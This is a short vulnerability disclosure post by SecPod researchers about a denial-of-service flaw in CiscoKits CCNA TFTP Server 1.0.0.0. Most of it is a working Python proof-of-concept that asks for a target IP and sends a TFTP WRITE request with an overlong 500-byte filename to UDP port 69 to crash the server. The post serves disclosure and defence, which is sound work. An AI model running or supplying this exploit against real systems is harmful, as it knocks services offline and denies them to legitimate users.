CiscoKits CCNA TFTP Server Denial Of Service Vulnerability

SecPod Research Team member (Prabhu S Angadi) has found a Denial of Service vulnerability in CiscoKits CCNA TFTP Server. The vulnerability is caused due to improper validation of WRITE Request Parameter containing the long file name. The flaw can be exploited to crash a vulnerable server denying service to legitimate users.

POC: Download here.

More information on the flaws can be found here.

#!/usr/bin/python
##############################################################################
# Title    : CiscoKits CCNA TFTP Server Denial Of Service Vulnerability
# Author   : Prabhu S Angadi from SecPod Technologies (www.secpod.com)
# Vendor   : http://www.certificationkits.com/cisco-ccna-tftp-server/
# Advisory : https://www.secpod.com/blog/?p=271
#            http://secpod.org/SECPOD_CiscoKits_CCNA_TFTP_DoS_POC.py
#            http://secpod.org/advisories/SECPOD_Ciscokits_CCNA_TFTP_DoS.txt
# Version  : CiscoKits CCNA TFTP Server 1.0.0.0
# Date     : 21/07/2011
##############################################################################

import socket,sys,time

port   = 69
target = raw_input("Enter host/target ip address: ")

if not target:
    print "Host/Target IP Address is not specified"
    sys.exit(1)

print "you entered ", target

try:
    socket.inet_aton(target)
except socket.error:
    print "Invalid IP address found ..."
    sys.exit(1)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
    print "socket() failed"
    sys.exit(1)

#File name >= 222 length leads to crash
exploit = "A" * 500

mode = "netascii"
print "File name WRITE crash"
# WRITE command = \x00\x02
data = "\x00\x02" + exploit + "\0" + mode + "\0"
sock.sendto(data, (target, port))
time.sleep(5)

Welcome any feedback or suggestion.
Cheers!
SecPod Research Team